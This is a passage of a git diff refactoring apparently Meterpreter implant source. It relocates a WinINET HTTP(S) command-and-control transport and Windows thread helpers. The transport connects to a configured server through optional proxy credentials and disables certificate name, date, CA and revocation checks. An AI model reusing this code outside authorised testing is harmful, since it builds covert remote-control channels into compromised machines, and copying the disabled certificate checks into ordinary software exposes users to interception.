L"GET" : L"POST", ctx->uri, NULL, NULL, NULL, flags, 0); - - if (hReq == NULL) - { - dprintf("[%s] Failed HttpOpenRequestW: %d", direction, GetLastError()); - SetLastError(ERROR_NOT_FOUND); - break; - } - - if (ctx->ssl) - { - DWORD secureFlags = SECURITY_FLAG_IGNORE_CERT_CN_INVALID - | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID - | SECURITY_FLAG_IGNORE_WRONG_USAGE - | SECURITY_FLAG_IGNORE_UNKNOWN_CA - | SECURITY_FLAG_IGNORE_REVOCATION; - - dprintf("[%s] Setting secure option flags", direction); - if (!InternetSetOptionW(hReq, INTERNET_OPTION_SECURITY_FLAGS, &secureFlags, sizeof(secureFlags))) - { - dprintf("[%s] Failed InternetSetOptionW: %d", direction, GetLastError()); - SetLastError(ERROR_NOT_FOUND); - break; - } - } - - return hReq; - } while (0); - - if (hReq != NULL) - { - InternetCloseHandle(hReq); - } - - return NULL; -} - -/*! - * @brief Wrapper around WinINET-specific request handle closing functionality. - * @param hReq HTTP request handle. - * @return An indication of the result of sending the request. - */ -static BOOL close_request_wininet(HANDLE hReq) -{ - return InternetCloseHandle(hReq); -} - -/*! - * @brief Wrapper around WinINET-specific response data reading functionality. - * @param hReq HTTP request handle. - * @param buffer Pointer to the data buffer. - * @param bytesToRead The number of bytes to read. - * @param bytesRead The number of bytes actually read. - * @return An indication of the result of sending the request. - */ -static BOOL read_response_wininet(HANDLE hReq, LPVOID buffer, DWORD bytesToRead, LPDWORD bytesRead) -{ - return InternetReadFile(hReq, buffer, bytesToRead, bytesRead); -} - -/*! - * @brief Wrapper around WinINET-specific sending functionality. - * @param ctx Pointer to the current HTTP transport context. - * @param hReq HTTP request handle. - * @param buffer Pointer to the buffer to receive the data. - * @param size Buffer size. - * @return An indication of the result of sending the request. - */ -static BOOL send_request_wininet(HttpTransportContext* ctx, HANDLE hReq, LPVOID buffer, DWORD size) -{ - if (ctx->custom_headers) - { - dprintf("[WINHTTP] Sending with custom headers: %S", ctx->custom_headers); - return HttpSendRequestW(hReq, ctx->custom_headers, -1L, buffer, size); - } - - return HttpSendRequestW(hReq, NULL, 0, buffer, size); -} - -/*! - * @brief Wrapper around WinINET-specific request response validation. - * @param hReq HTTP request handle. - * @param ctx The HTTP transport context. - * @return An indication of the result of getting a response. - */ -static DWORD validate_response_wininet(HANDLE hReq, HttpTransportContext* ctx) -{ - DWORD statusCode; - DWORD statusCodeSize = sizeof(statusCode); - vdprintf("[PACKET RECEIVE WININET] Getting the result code..."); - if (HttpQueryInfoW(hReq, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &statusCode, &statusCodeSize, 0)) - { - vdprintf("[PACKET RECEIVE WININET] Returned status code is %d", statusCode); - - // did the request succeed? - if (statusCode != 200) - { - // bomb out - return ERROR_BAD_CONFIGURATION; - } - } - - return ERROR_SUCCESS; -} - -/*! - * @brief Initialise the HTTP(S) connection. - * @param transport Pointer to the transport instance. - * @return Indication of success or failure. - */ -static BOOL server_init_wininet(Transport* transport) -{ - URL_COMPONENTS bits; - wchar_t tmpHostName[URL_SIZE]; - wchar_t tmpUrlPath[URL_SIZE]; - HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; - - dprintf("[WININET] Initialising ..."); - - // configure proxy - if (ctx->proxy) - { - dprintf("[DISPATCH] Configuring with proxy: %S", ctx->proxy); - ctx->internet = InternetOpenW(ctx->ua, INTERNET_OPEN_TYPE_PROXY, ctx->proxy, NULL, 0); - } - else - { - ctx->internet = InternetOpenW(ctx->ua, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); - } - - if (!ctx->internet) - { - dprintf("[DISPATCH] Failed InternetOpenW: %d", GetLastError()); - return FALSE; - } - - dprintf("[DISPATCH] Configured hInternet: 0x%.8x", ctx->internet); - - // The InternetCrackUrl method was poorly designed... - ZeroMemory(tmpHostName, sizeof(tmpHostName)); - ZeroMemory(tmpUrlPath, sizeof(tmpUrlPath)); - - ZeroMemory(&bits, sizeof(bits)); - bits.dwStructSize = sizeof(bits); - - bits.dwHostNameLength = URL_SIZE - 1; - bits.lpszHostName = tmpHostName; - - bits.dwUrlPathLength = URL_SIZE - 1; - bits.lpszUrlPath = tmpUrlPath; - - dprintf("[DISPATCH] About to crack URL: %S", transport->url); - InternetCrackUrlW(transport->url, 0, 0, &bits); - - SAFE_FREE(ctx->uri); - ctx->uri = _wcsdup(tmpUrlPath); - transport->comms_last_packet = current_unix_timestamp(); - - dprintf("[DISPATCH] Configured URI: %S", ctx->uri); - dprintf("[DISPATCH] Host: %S Port: %u", tmpHostName, bits.nPort); - - // Allocate the connection handle - ctx->connection = InternetConnectW(ctx->internet, tmpHostName, bits.nPort, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); - if (!ctx->connection) - { - dprintf("[DISPATCH] Failed InternetConnect: %d", GetLastError()); - return FALSE; - } - - if (ctx->proxy) - { - if (ctx->proxy_user) - { - InternetSetOptionW(ctx->connection, INTERNET_OPTION_PROXY_USERNAME, ctx->proxy_user, (DWORD)wcslen(ctx->proxy_user)); - } - if (ctx->proxy_pass) - { - InternetSetOptionW(ctx->connection, INTERNET_OPTION_PROXY_PASSWORD, ctx->proxy_pass, (DWORD)wcslen(ctx->proxy_pass)); - } - } - - dprintf("[DISPATCH] Configured hConnection: 0x%.8x", ctx->connection); - - return TRUE; -} - -/*! - * @brief Take over control from the WinINET transport. - * @param transport Pointer to the transport to hijack. - */ -void transport_move_to_wininet(Transport* transport) -{ - HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; - - ctx->create_req = get_request_wininet; - ctx->send_req = send_request_wininet; - ctx->close_req = close_request_wininet; - ctx->validate_response = validate_response_wininet; - ctx->receive_response = NULL; - ctx->read_response = read_response_wininet; - - transport->transport_init = server_init_wininet; -} +/*! + * @file server_transport_wininet.c + */ +#include "metsrv.h" +#include + +/*! + * @brief Prepare a wininet request with the given context. + * @param ctx Pointer to the HTTP transport context to prepare the request from. + * @param isGet Indication of whether this request is a GET request, otherwise POST is used. + * @param direction String representing the direction of the communications (for debug). + * @return An Internet request handle. + */ +static HINTERNET get_request_wininet(HttpTransportContext *ctx, BOOL isGet, const char *direction) +{ + HINTERNET hReq = NULL; + DWORD flags = INTERNET_FLAG_RELOAD + | INTERNET_FLAG_NO_CACHE_WRITE + | INTERNET_FLAG_KEEP_CONNECTION + | INTERNET_FLAG_NO_AUTO_REDIRECT + | INTERNET_FLAG_NO_UI; + + if (ctx->ssl) + { + flags |= INTERNET_FLAG_SECURE + | INTERNET_FLAG_IGNORE_CERT_CN_INVALID + | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID; + dprintf("[%s] Setting secure request flag..", direction); + } + + do + { + vdprintf("[%s] opening request on connection %x to %S", direction, ctx->connection, ctx->uri); + hReq = HttpOpenRequestW(ctx->connection, isGet ? L"GET" : L"POST", ctx->uri, NULL, NULL, NULL, flags, 0); + + if (hReq == NULL) + { + dprintf("[%s] Failed HttpOpenRequestW: %d", direction, GetLastError()); + SetLastError(ERROR_NOT_FOUND); + break; + } + + if (ctx->ssl) + { + DWORD secureFlags = SECURITY_FLAG_IGNORE_CERT_CN_INVALID + | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID + | SECURITY_FLAG_IGNORE_WRONG_USAGE + | SECURITY_FLAG_IGNORE_UNKNOWN_CA + | SECURITY_FLAG_IGNORE_REVOCATION; + + dprintf("[%s] Setting secure option flags", direction); + if (!InternetSetOptionW(hReq, INTERNET_OPTION_SECURITY_FLAGS, &secureFlags, sizeof(secureFlags))) + { + dprintf("[%s] Failed InternetSetOptionW: %d", direction, GetLastError()); + SetLastError(ERROR_NOT_FOUND); + break; + } + } + + return hReq; + } while (0); + + if (hReq != NULL) + { + InternetCloseHandle(hReq); + } + + return NULL; +} + +/*! + * @brief Wrapper around WinINET-specific request handle closing functionality. + * @param hReq HTTP request handle. + * @return An indication of the result of sending the request. + */ +static BOOL close_request_wininet(HANDLE hReq) +{ + return InternetCloseHandle(hReq); +} + +/*! + * @brief Wrapper around WinINET-specific response data reading functionality. + * @param hReq HTTP request handle. + * @param buffer Pointer to the data buffer. + * @param bytesToRead The number of bytes to read. + * @param bytesRead The number of bytes actually read. + * @return An indication of the result of sending the request. + */ +static BOOL read_response_wininet(HANDLE hReq, LPVOID buffer, DWORD bytesToRead, LPDWORD bytesRead) +{ + return InternetReadFile(hReq, buffer, bytesToRead, bytesRead); +} + +/*! + * @brief Wrapper around WinINET-specific sending functionality. + * @param ctx Pointer to the current HTTP transport context. + * @param hReq HTTP request handle. + * @param buffer Pointer to the buffer to receive the data. + * @param size Buffer size. + * @return An indication of the result of sending the request. + */ +static BOOL send_request_wininet(HttpTransportContext* ctx, HANDLE hReq, LPVOID buffer, DWORD size) +{ + if (ctx->custom_headers) + { + dprintf("[WINHTTP] Sending with custom headers: %S", ctx->custom_headers); + return HttpSendRequestW(hReq, ctx->custom_headers, -1L, buffer, size); + } + + return HttpSendRequestW(hReq, NULL, 0, buffer, size); +} + +/*! + * @brief Wrapper around WinINET-specific request response validation. + * @param hReq HTTP request handle. + * @param ctx The HTTP transport context. + * @return An indication of the result of getting a response. + */ +static DWORD validate_response_wininet(HANDLE hReq, HttpTransportContext* ctx) +{ + DWORD statusCode; + DWORD statusCodeSize = sizeof(statusCode); + vdprintf("[PACKET RECEIVE WININET] Getting the result code..."); + if (HttpQueryInfoW(hReq, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &statusCode, &statusCodeSize, 0)) + { + vdprintf("[PACKET RECEIVE WININET] Returned status code is %d", statusCode); + + // did the request succeed? + if (statusCode != 200) + { + // bomb out + return ERROR_BAD_CONFIGURATION; + } + } + + return ERROR_SUCCESS; +} + +/*! + * @brief Initialise the HTTP(S) connection. + * @param transport Pointer to the transport instance. + * @return Indication of success or failure. + */ +static BOOL server_init_wininet(Transport* transport) +{ + URL_COMPONENTS bits; + wchar_t tmpHostName[URL_SIZE]; + wchar_t tmpUrlPath[URL_SIZE]; + HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; + + dprintf("[WININET] Initialising ..."); + + // configure proxy + if (ctx->proxy) + { + dprintf("[DISPATCH] Configuring with proxy: %S", ctx->proxy); + ctx->internet = InternetOpenW(ctx->ua, INTERNET_OPEN_TYPE_PROXY, ctx->proxy, NULL, 0); + } + else + { + ctx->internet = InternetOpenW(ctx->ua, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); + } + + if (!ctx->internet) + { + dprintf("[DISPATCH] Failed InternetOpenW: %d", GetLastError()); + return FALSE; + } + + dprintf("[DISPATCH] Configured hInternet: 0x%.8x", ctx->internet); + + // The InternetCrackUrl method was poorly designed... + ZeroMemory(tmpHostName, sizeof(tmpHostName)); + ZeroMemory(tmpUrlPath, sizeof(tmpUrlPath)); + + ZeroMemory(&bits, sizeof(bits)); + bits.dwStructSize = sizeof(bits); + + bits.dwHostNameLength = URL_SIZE - 1; + bits.lpszHostName = tmpHostName; + + bits.dwUrlPathLength = URL_SIZE - 1; + bits.lpszUrlPath = tmpUrlPath; + + dprintf("[DISPATCH] About to crack URL: %S", transport->url); + InternetCrackUrlW(transport->url, 0, 0, &bits); + + SAFE_FREE(ctx->uri); + ctx->uri = _wcsdup(tmpUrlPath); + transport->comms_last_packet = current_unix_timestamp(); + + dprintf("[DISPATCH] Configured URI: %S", ctx->uri); + dprintf("[DISPATCH] Host: %S Port: %u", tmpHostName, bits.nPort); + + // Allocate the connection handle + ctx->connection = InternetConnectW(ctx->internet, tmpHostName, bits.nPort, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); + if (!ctx->connection) + { + dprintf("[DISPATCH] Failed InternetConnect: %d", GetLastError()); + return FALSE; + } + + if (ctx->proxy) + { + if (ctx->proxy_user) + { + InternetSetOptionW(ctx->connection, INTERNET_OPTION_PROXY_USERNAME, ctx->proxy_user, (DWORD)wcslen(ctx->proxy_user)); + } + if (ctx->proxy_pass) + { + InternetSetOptionW(ctx->connection, INTERNET_OPTION_PROXY_PASSWORD, ctx->proxy_pass, (DWORD)wcslen(ctx->proxy_pass)); + } + } + + dprintf("[DISPATCH] Configured hConnection: 0x%.8x", ctx->connection); + + return TRUE; +} + +/*! + * @brief Take over control from the WinINET transport. + * @param transport Pointer to the transport to hijack. + */ +void transport_move_to_wininet(Transport* transport) +{ + HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; + + ctx->create_req = get_request_wininet; + ctx->send_req = send_request_wininet; + ctx->close_req = close_request_wininet; + ctx->validate_response = validate_response_wininet; + ctx->receive_response = NULL; + ctx->read_response = read_response_wininet; + + transport->transport_init = server_init_wininet; +} diff --git a/c/meterpreter/source/metsrv/server_transport_wininet.h b/c/meterpreter/source/metsrv/server_transport_wininet.h new file mode 100644 index 00000000..3cac0bec --- /dev/null +++ b/c/meterpreter/source/metsrv/server_transport_wininet.h @@ -0,0 +1,6 @@ +#ifndef _METERPRETER_METSRV_TRANSPORT_WININET +#define _METERPRETER_METSRV_TRANSPORT_WININET + +void transport_move_to_wininet(Transport* transport); + +#endif \ No newline at end of file diff --git a/c/meterpreter/source/common/thread.c b/c/meterpreter/source/metsrv/thread.c similarity index 92% rename from c/meterpreter/source/common/thread.c rename to c/meterpreter/source/metsrv/thread.c index c2444a48..47c15750 100644 --- a/c/meterpreter/source/common/thread.c +++ b/c/meterpreter/source/metsrv/thread.c @@ -1,338 +1,338 @@ -#include "common.h" - -// thread.c contains wrappers for the primitives of locks, events and threads for use in -// the multithreaded meterpreter. This is the win32/win64 implementation. - -/*****************************************************************************************/ - -/* - * Create a new lock. We choose Mutex's over CriticalSections as their appears to be an issue - * when using CriticalSections with OpenSSL on some Windows systems. Mutex's are not as optimal - * as CriticalSections but they appear to resolve the OpenSSL deadlock issue. - */ -LOCK * lock_create( VOID ) -{ - LOCK * lock = (LOCK *)malloc( sizeof( LOCK ) ); - if( lock != NULL ) - { - memset( lock, 0, sizeof( LOCK ) ); - - lock->handle = CreateMutex( NULL, FALSE, NULL ); - } - return lock; -} - -/* - * Destroy a lock that is no longer required. - */ -VOID lock_destroy( LOCK * lock ) -{ - if( lock != NULL ) - { - lock_release( lock ); - - CloseHandle( lock->handle ); - - free( lock ); - } -} - -/* - * Acquire a lock and block untill it is acquired. - */ -VOID lock_acquire( LOCK * lock ) -{ - if( lock != NULL ) { - WaitForSingleObject( lock->handle, INFINITE ); - } -} - -/* - * Release a lock previously held. - */ -VOID lock_release( LOCK * lock ) -{ - if( lock != NULL ) { - ReleaseMutex( lock->handle ); - } -} - -/*****************************************************************************************/ - -/* - * Create a new event which can be signaled/polled/and blocked on. - */ -EVENT * event_create( VOID ) -{ - EVENT * event = NULL; - - event = (EVENT *)malloc( sizeof( EVENT ) ); - if( event == NULL ) - return NULL; - - memset( event, 0, sizeof( EVENT ) ); - - event->handle = CreateEvent( NULL, FALSE, FALSE, NULL ); - if( event->handle == NULL ) - { - free( event ); - return NULL; - } - - return event; -} - -/* - * Destroy an event. - */ -BOOL event_destroy( EVENT * event ) -{ - if( event == NULL ) - return FALSE; - - CloseHandle( event->handle ); - - free( event ); - - return TRUE; -} - -/* - * Signal an event. - */ -BOOL event_signal( EVENT * event ) -{ - if( event == NULL ) - return FALSE; - - dprintf( "Signalling 0x%x", event->handle ); - if( SetEvent( event->handle ) == 0 ) { - dprintf( "Signalling 0x%x failed %u", event->handle, GetLastError() ); - return FALSE; - } - - return TRUE; -} - -/* - * Poll an event to see if it has been signaled. Set timeout to -1 to block indefinatly. - * If timeout is 0 this function does not block but returns immediately. - */ -BOOL event_poll( EVENT * event, DWORD timeout ) -{ - if( event == NULL ) - return FALSE; - - if( WaitForSingleObject( event->handle, timeout ) == WAIT_OBJECT_0 ) - return TRUE; - - return FALSE; -} - -/*****************************************************************************************/ - -/* - * Opens and create a THREAD item for the current/calling thread. - */ -THREAD* thread_open(VOID) -{ - THREAD* thread = NULL; - OPENTHREAD pOpenThread = NULL; - HMODULE hKernel32 = NULL; - - thread = (THREAD*)malloc(sizeof(THREAD)); - if (thread != NULL) - { - memset(thread, 0, sizeof(THREAD)); - - thread->id = GetCurrentThreadId(); - thread->sigterm = event_create(); - - // Windows specific process of opening a handle to the current thread which - // works on NT4 up. We only want THREAD_TERMINATE|THREAD_SUSPEND_RESUME access - // for now. - - // First we try to use the normal OpenThread function, available on Windows 2000 and up... - hKernel32 = LoadLibrary("kernel32.dll"); - pOpenThread = (OPENTHREAD)GetProcAddress(hKernel32, "OpenThread"); - if (pOpenThread) - { - thread->handle = pOpenThread(THREAD_TERMINATE | THREAD_SUSPEND_RESUME, FALSE, thread->id); - } - else - { - NTOPENTHREAD pNtOpenThread = NULL; - // If we can't use OpenThread, we try the older NtOpenThread function as found on NT4 machines. - HMODULE hNtDll = LoadLibrary("ntdll.dll"); - pNtOpenThread = (NTOPENTHREAD)GetProcAddress(hNtDll, "NtOpenThread"); - if (pNtOpenThread) - { - _OBJECT_ATTRIBUTES oa = { 0 }; - _CLIENT_ID cid = { 0 }; - - cid.UniqueThread = (PVOID)(DWORD_PTR)thread->id; - - pNtOpenThread(&thread->handle, THREAD_TERMINATE | THREAD_SUSPEND_RESUME, &oa, &cid); - } - - FreeLibrary(hNtDll); - } - - FreeLibrary(hKernel32); - } - - return thread; -} - -void disable_thread_error_reporting() -{ - HMODULE hKernel32 = LoadLibrary("kernel32.dll"); - DWORD(WINAPI * pSetThreadErrorMode)(DWORD, DWORD*); - pSetThreadErrorMode = (void*)GetProcAddress(hKernel32, "SetThreadErrorMode"); - if (pSetThreadErrorMode) - { - pSetThreadErrorMode(SEM_FAILCRITICALERRORS, NULL); - } -} - -static DWORD THREADCALL thread_preamble(THREAD* thread) -{ - disable_thread_error_reporting(); - return thread->funk(thread); -} - -/* - * Create a new thread in a suspended state. - */ -THREAD* thread_create(THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID param3) -{ - THREAD* thread = NULL; - - if (funk == NULL) - { - return NULL; - } - - thread = malloc(sizeof(THREAD)); - if (thread == NULL) - { - return NULL; - } - - memset(thread, 0, sizeof(THREAD)); - - thread->sigterm = event_create(); - if (thread->sigterm == NULL) - { - free(thread); - return NULL; - } - - thread->parameter1 = param1; - thread->parameter2 = param2; - thread->parameter3 = param3; - thread->funk = funk; - - thread->handle = CreateThread(NULL, 0, thread_preamble, thread, CREATE_SUSPENDED, &thread->id); - - if (thread->handle == NULL) - { - event_destroy(thread->sigterm); - free(thread); - return NULL; - } - - return thread; -} - -/* - * Run a thread. - */ -BOOL thread_run(THREAD* thread) -{ - if (thread == NULL) - { - return FALSE; - } - - if (ResumeThread(thread->handle) < 0) - { - return FALSE; - } - - return TRUE; -} - -/* - * Signals the thread to terminate. It is the responsibility of the thread to wait for and process this signal. - * Should be used to signal the thread to terminate. - */ -BOOL thread_sigterm(THREAD* thread) -{ - BOOL ret; - - if (thread == NULL) - { - return FALSE; - } - - ret = event_signal(thread->sigterm); - - return ret; -} - -/* - * Terminate a thread. Use with caution! better to signal your thread to terminate and wait for it to do so. - */ -BOOL thread_kill(THREAD* thread) -{ - if (thread == NULL) - { - return FALSE; - } - - if (TerminateThread(thread->handle, -1) == 0) - { - return FALSE; - } - - return TRUE; -} - -/* - * Blocks untill the thread has terminated. - */ -BOOL thread_join(THREAD* thread) -{ - if (thread == NULL) - { - return FALSE; - } - - if (WaitForSingleObject(thread->handle, INFINITE) == WAIT_OBJECT_0) - { - return TRUE; - } - - return FALSE; -} - -/* - * Destroys a previously created thread. Note, this does not terminate the thread. You must signal your - * thread to terminate and wait for it to do so (via thread_signal/thread_join). - */ -BOOL thread_destroy(THREAD* thread) -{ - if (thread == NULL) - { - return FALSE; - } - - event_destroy(thread->sigterm); - - CloseHandle(thread->handle); - - free(thread); - - return TRUE; -} +#include "metsrv.h" + +// thread.c contains wrappers for the primitives of locks, events and threads for use in +// the multithreaded meterpreter. This is the win32/win64 implementation. + +/*****************************************************************************************/ + +/* + * Create a new lock. We choose Mutex's over CriticalSections as their appears to be an issue + * when using CriticalSections with OpenSSL on some Windows systems. Mutex's are not as optimal + * as CriticalSections but they appear to resolve the OpenSSL deadlock issue. + */ +LOCK * lock_create( VOID ) +{ + LOCK * lock = (LOCK *)malloc( sizeof( LOCK ) ); + if( lock != NULL ) + { + memset( lock, 0, sizeof( LOCK ) ); + + lock->handle = CreateMutex( NULL, FALSE, NULL ); + } + return lock; +} + +/* + * Destroy a lock that is no longer required. + */ +VOID lock_destroy( LOCK * lock ) +{ + if( lock != NULL ) + { + lock_release( lock ); + + CloseHandle( lock->handle ); + + free( lock ); + } +} + +/* + * Acquire a lock and block untill it is acquired. + */ +VOID lock_acquire( LOCK * lock ) +{ + if( lock != NULL ) { + WaitForSingleObject( lock->handle, INFINITE ); + } +} + +/* + * Release a lock previously held. + */ +VOID lock_release( LOCK * lock ) +{ + if( lock != NULL ) { + ReleaseMutex( lock->handle ); + } +} + +/*****************************************************************************************/ + +/* + * Create a new event which can be signaled/polled/and blocked on. + */ +EVENT * event_create( VOID ) +{ + EVENT * event = NULL; + + event = (EVENT *)malloc( sizeof( EVENT ) ); + if( event == NULL ) + return NULL; + + memset( event, 0, sizeof( EVENT ) ); + + event->handle = CreateEvent( NULL, FALSE, FALSE, NULL ); + if( event->handle == NULL ) + { + free( event ); + return NULL; + } + + return event; +} + +/* + * Destroy an event. + */ +BOOL event_destroy( EVENT * event ) +{ + if( event == NULL ) + return FALSE; + + CloseHandle( event->handle ); + + free( event ); + + return TRUE; +} + +/* + * Signal an event. + */ +BOOL event_signal( EVENT * event ) +{ + if( event == NULL ) + return FALSE; + + dprintf( "Signalling 0x%x", event->handle ); + if( SetEvent( event->handle ) == 0 ) { + dprintf( "Signalling 0x%x failed %u", event->handle, GetLastError() ); + return FALSE; + } + + return TRUE; +} + +/* + * Poll an event to see if it has been signaled. Set timeout to -1 to block indefinatly. + * If timeout is 0 this function does not block but returns immediately. + */ +BOOL event_poll( EVENT * event, DWORD timeout ) +{ + if( event == NULL ) + return FALSE; + + if( WaitForSingleObject( event->handle, timeout ) == WAIT_OBJECT_0 ) + return TRUE; + + return FALSE; +} + +/*****************************************************************************************/ + +/* + * Opens and create a THREAD item for the current/calling thread. + */ +THREAD* thread_open(VOID) +{ + THREAD* thread = NULL; + OPENTHREAD pOpenThread = NULL; + HMODULE hKernel32 = NULL; + + thread = (THREAD*)malloc(sizeof(THREAD)); + if (thread != NULL) + { + memset(thread, 0, sizeof(THREAD)); + + thread->id = GetCurrentThreadId(); + thread->sigterm = event_create(); + + // Windows specific process of opening a handle to the current thread which + // works on NT4 up. We only want THREAD_TERMINATE|THREAD_SUSPEND_RESUME access + // for now. + + // First we try to use the normal OpenThread function, available on Windows 2000 and up... + hKernel32 = LoadLibraryA("kernel32.dll"); + pOpenThread = (OPENTHREAD)GetProcAddress(hKernel32, "OpenThread"); + if (pOpenThread) + { + thread->handle = pOpenThread(THREAD_TERMINATE | THREAD_SUSPEND_RESUME, FALSE, thread->id); + } + else + { + NTOPENTHREAD pNtOpenThread = NULL; + // If we can't use OpenThread, we try the older NtOpenThread function as found on NT4 machines. + HMODULE hNtDll = LoadLibraryA("ntdll.dll"); + pNtOpenThread = (NTOPENTHREAD)GetProcAddress(hNtDll, "NtOpenThread"); + if (pNtOpenThread) + { + _OBJECT_ATTRIBUTES oa = { 0 }; + _CLIENT_ID cid = { 0 }; + + cid.UniqueThread = (PVOID)(DWORD_PTR)thread->id; + + pNtOpenThread(&thread->handle, THREAD_TERMINATE | THREAD_SUSPEND_RESUME, &oa, &cid); + } + + FreeLibrary(hNtDll); + } + + FreeLibrary(hKernel32); + } + + return thread; +} + +void disable_thread_error_reporting() +{ + HMODULE hKernel32 = LoadLibraryA("kernel32.dll"); + DWORD(WINAPI * pSetThreadErrorMode)(DWORD, DWORD*); + pSetThreadErrorMode = (void*)GetProcAddress(hKernel32, "SetThreadErrorMode"); + if (pSetThreadErrorMode) + { + pSetThreadErrorMode(SEM_FAILCRITICALERRORS, NULL); + } +} + +static DWORD THREADCALL thread_preamble(THREAD* thread) +{ + disable_thread_error_reporting(); + return thread->funk(thread); +} + +/* + * Create a new thread in a suspended state. + */ +THREAD* thread_create(THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID param3) +{ + THREAD* thread = NULL; + + if (funk == NULL) + { + return NULL; + } + + thread = malloc(sizeof(THREAD)); + if (thread == NULL) + { + return NULL; + } + + memset(thread, 0, sizeof(THREAD)); + + thread->sigterm = event_create(); + if (thread->sigterm == NULL) + { + free(thread); + return NULL; + } + + thread->parameter1 = param1; + thread->parameter2 = param2; + thread->parameter3 = param3; + thread->funk = funk; + + thread->handle = CreateThread(NULL, 0, thread_preamble, thread, CREATE_SUSPENDED, &thread->id); + + if (thread->handle == NULL) + { + event_destroy(thread->sigterm); + free(thread); + return NULL; + } + + return thread; +} + +/* + * Run a thread. + */ +BOOL thread_run(THREAD* thread) +{ + if (thread == NULL) + { + return FALSE; + } + + if (ResumeThread(thread->handle) < 0) + { + return FALSE; + } + + return TRUE; +} + +/* + * Signals the thread to terminate. It is the responsibility of the thread to wait for and process this signal. + * Should be used to signal the thread to terminate. + */ +BOOL thread_sigterm(THREAD* thread) +{ + BOOL ret; + + if (thread == NULL) + { + return FALSE; + } + + ret = event_signal(thread->sigterm); + + return ret; +} + +/* + * Terminate a thread. Use with caution! better to signal your thread to terminate and wait for it to do so. + */ +BOOL thread_kill(THREAD* thread) +{ + if (thread == NULL) + { + return FALSE; + } + + if (TerminateThread(thread->handle, -1) == 0) + { + return FALSE; + } + + return TRUE; +} + +/* + * Blocks untill the thread has terminated. + */ +BOOL thread_join(THREAD* thread) +{ + if (thread == NULL) + { + return FALSE; + } + + if (WaitForSingleObject(thread->handle, INFINITE) == WAIT_OBJECT_0) + { + return TRUE; + } + + return FALSE; +} + +/* + * Destroys a previously created thread. Note, this does not terminate the thread. You must signal your + * thread to terminate and wait for it to do so (via thread_signal/thread_join). + */ +BOOL thread_destroy(THREAD* thread) +{ + if (thread == NULL) + { + return FALSE; + } + + event_destroy(thread->sigterm); + + CloseHandle(thread->handle); + + free(thread); + + return TRUE; +} diff --git a/c/meterpreter/source/common/thread.h b/c/meterpreter/source/metsrv/thread.h similarity index 68% rename from c/meterpreter/source/common/thread.h rename to c/meterpreter/source/metsrv/thread.h index efa1bca7..a741969c 100644 --- a/c/meterpreter/source/common/thread.h +++ b/c/meterpreter/source/metsrv/thread.h @@ -1,103 +1,69 @@ -#ifndef _METERPRETER_LIB_THREAD_H -#define _METERPRETER_LIB_THREAD_H - -/*****************************************************************************************/ -// Win32/64 specific definitions... - -typedef struct __UNICODE_STRING -{ - USHORT Length; - USHORT MaximumLength; - PWSTR Buffer; -} _UNICODE_STRING, * _PUNICODE_STRING; - -typedef struct __OBJECT_ATTRIBUTES -{ - ULONG Length; - HANDLE RootDirectory; - _PUNICODE_STRING ObjectName; - ULONG Attributes; - PVOID SecurityDescriptor; - PVOID SecurityQualityOfService; -} _OBJECT_ATTRIBUTES, * _POBJECT_ATTRIBUTES; - -typedef struct __CLIENT_ID -{ - PVOID UniqueProcess; - PVOID UniqueThread; -} _CLIENT_ID, * _PCLIENT_ID; - -typedef HANDLE (WINAPI * OPENTHREAD)( DWORD, BOOL, DWORD ); // kernel32!OpenThread - -typedef DWORD (WINAPI * NTOPENTHREAD)( PHANDLE, ACCESS_MASK, _POBJECT_ATTRIBUTES, _PCLIENT_ID ); // ntdll!NtOpenThread - -/*****************************************************************************************/ - -typedef struct _LOCK -{ - HANDLE handle; -} LOCK, * LPLOCK; - -typedef struct _EVENT -{ - HANDLE handle; -} EVENT, * LPEVENT; - -#define THREADCALL __stdcall - -typedef DWORD (THREADCALL * THREADFUNK)(struct _THREAD * thread); - -struct _THREAD -{ - DWORD id; - HANDLE handle; - EVENT * sigterm; - THREADFUNK funk; - LPVOID parameter1; - LPVOID parameter2; - LPVOID parameter3; -}; - -typedef struct _THREAD THREAD, * LPTHREAD; - -/*****************************************************************************************/ - -LOCK * lock_create( VOID ); - -VOID lock_destroy( LOCK * lock ); - -VOID lock_acquire( LOCK * lock ); - -VOID lock_release( LOCK * lock ); - -/*****************************************************************************************/ - -EVENT * event_create( VOID ); - -BOOL event_destroy( EVENT * event ); - -BOOL event_signal( EVENT * event ); - -BOOL event_poll( EVENT * event, DWORD timeout ); - -/*****************************************************************************************/ - -THREAD * thread_open( VOID ); - -THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID param3 ); - -void disable_thread_error_reporting(void); - -BOOL thread_run( THREAD * thread ); - -BOOL thread_sigterm( THREAD * thread ); - -BOOL thread_kill( THREAD * thread ); - -BOOL thread_join( THREAD * thread ); - -BOOL thread_destroy( THREAD * thread ); - -/*****************************************************************************************/ - -#endif +#ifndef _METERPRETER_METSRV_THREAD_H +#define _METERPRETER_METSRV_THREAD_H + +#include "common_thread.h" + +/*****************************************************************************************/ +// Win32/64 specific definitions... + +typedef struct __OBJECT_ATTRIBUTES +{ + ULONG Length; + HANDLE RootDirectory; + _PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} _OBJECT_ATTRIBUTES, * _POBJECT_ATTRIBUTES; + +typedef struct __CLIENT_ID +{ + PVOID UniqueProcess; + PVOID UniqueThread; +} _CLIENT_ID, * _PCLIENT_ID; + +typedef HANDLE (WINAPI * OPENTHREAD)( DWORD, BOOL, DWORD ); // kernel32!OpenThread + +typedef DWORD (WINAPI * NTOPENTHREAD)( PHANDLE, ACCESS_MASK, _POBJECT_ATTRIBUTES, _PCLIENT_ID ); // 